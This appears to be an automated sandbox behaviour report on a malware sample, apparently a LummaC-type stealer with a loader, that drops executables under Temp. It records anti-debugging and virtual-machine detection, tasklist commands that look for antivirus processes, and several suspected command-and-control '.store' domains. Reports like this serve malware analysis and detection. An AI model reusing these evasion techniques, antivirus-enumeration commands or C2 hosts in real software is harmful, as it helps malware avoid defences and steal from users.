Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: FDEB9E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 116D7DB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 11FC58E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Special instruction interceptor: First address: A5DFDD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Special instruction interceptor: First address: A5B007 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Special instruction interceptor: First address: C1DDD9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Special instruction interceptor: First address: BFEF96 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Special instruction interceptor: First address: C83A26 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Special instruction interceptor: First address: 3FECB9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Special instruction interceptor: First address: 592748 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Special instruction interceptor: First address: 6217AC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F4ECB9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 10E2748 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 11717AC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Special instruction interceptor: First address: 1DEB9E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Special instruction interceptor: First address: 36D7DB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Special instruction interceptor: First address: 3FC58E instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Memory allocated: 5340000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Memory allocated: 53F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Memory allocated: 5340000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe

Code function: 2_2_00BD31C7 rdtsc

2_2_00BD31C7

Source: C:\Users\user\Desktop\file.exe

Code function: 0_3_007EC128 sldt word ptr [eax]

0_3_007EC128

Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 2079			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 2272			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\nvfvsdksvc_x64.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\is-BB72E.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-6RCEE.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\is-DEVD7.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-FANHF.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\nvfvsdksvc_x64.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\is-GF03F.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\ddETWExternal.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\ddETWExternal.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1003145001\1553f88169.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\NVFTVRDLL64.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\NVFTVRDLL64.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1003147001\num.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1003146001\661f3ff865.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\is-5MQTR.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-FANHF.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-6RCEE.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\is-7T5A6.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-OPEFN.tmp\fontcreator.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-BBOTN.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-1UGLR.tmp\fontcreator.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-0PK7I.tmp\is-9EFK3.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 3272	Thread sleep time: -150000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe TID: 5740	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7528	Thread sleep count: 105 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7528	Thread sleep time: -210105s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7532	Thread sleep count: 99 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7532	Thread sleep time: -198099s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7492	Thread sleep count: 279 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7492	Thread sleep time: -8370000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7524	Thread sleep count: 107 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7524	Thread sleep time: -214107s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7508	Thread sleep count: 2079 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7508	Thread sleep time: -4160079s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7608	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7520	Thread sleep count: 106 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7520	Thread sleep time: -212106s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7516	Thread sleep count: 2272 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7516	Thread sleep time: -4546272s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe TID: 3352	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe TID: 4556	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe TID: 1052	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe TID: 2848	Thread sleep time: -40020s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe TID: 7380	Thread sleep time: -40020s >= -30000s

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\PlaceholderTileLogoFolder	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Comms	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Packages	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Mozilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\PeerDistRepub	Jump to behavior

Source: skotes.exe, skotes.exe, 00000007.00000002.4110473002.00000000010C5000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: fontcreator.tmp, 0000001A.00000002.2480839088.000000000118D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\y
Source: fontcreator.tmp, 00000009.00000002.2437879792.00000000007ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: skotes.exe, 00000007.00000002.4108997518.00000000006BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\d
Source: fontcreator.tmp, 0000001A.00000002.2480839088.000000000118D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}yO
Source: file.exe, 00000000.00000003.1785012541.0000000000798000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1833944782.0000000000798000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW4
Source: file.exe, 00000000.00000003.1785012541.0000000000798000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1833944782.0000000000798000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.4108997518.0000000000678000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000007.00000002.4108997518.00000000006A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: fontcreator.tmp, 00000009.00000002.2437879792.00000000007ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\ys(^
Source: FT773VWATWFL9SRK5RTU4.exe, 00000002.00000002.1981381301.0000000000BD7000.00000040.00000001.01000000.00000006.sdmp, KOLH45MMED0OMDDRYHIG.exe, 00000003.00000002.1900949507.0000000000575000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000004.00000002.1917557344.00000000010C5000.00000040.00000001.01000000.0000000C.sdmp, skotes.exe, 00000007.00000002.4110473002.00000000010C5000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\hangbird\Updater.exe

System information queried: KernelDebuggerInformation

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe

Code function: 2_2_00BD31C7 rdtsc

2_2_00BD31C7

Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe

Code function: 2_2_00A5B7D2 LdrInitializeThunk,

2_2_00A5B7D2

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00F1652B mov eax, dword ptr fs:[00000030h]		7_2_00F1652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 7_2_00F1A302 mov eax, dword ptr fs:[00000030h]		7_2_00F1A302

Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\FT773VWATWFL9SRK5RTU4.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.1654441661.0000000004750000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000003.1654441661.0000000004750000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000003.1654441661.0000000004750000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000003.1654441661.0000000004750000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000003.1654441661.0000000004750000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000003.1654441661.0000000004750000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000003.1654441661.0000000004750000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000003.1654441661.0000000004750000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: presticitpo.store

Source: C:\Users\user\AppData\Local\Temp\KOLH45MMED0OMDDRYHIG.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe "C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe "C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe "C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-H6BOG.tmp\fontcreator.tmp	Process created: C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe "C:\Users\user\AppData\Local\Temp\1003142001\fontcreator.exe" /VERYSILENT	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Users\user\AppData\Local\Temp\is-R63KU.tmp\fontcreator.tmp	Process created: C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe "C:\Users\user\AppData\Local\Temp\1003143001\fontcreator.exe" /VERYSILENT
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "nswscsvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "sophoshealth.exe"
Source: C:\Users\user\AppData\Local\hangbird\Updater.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "opssvc.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avastui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
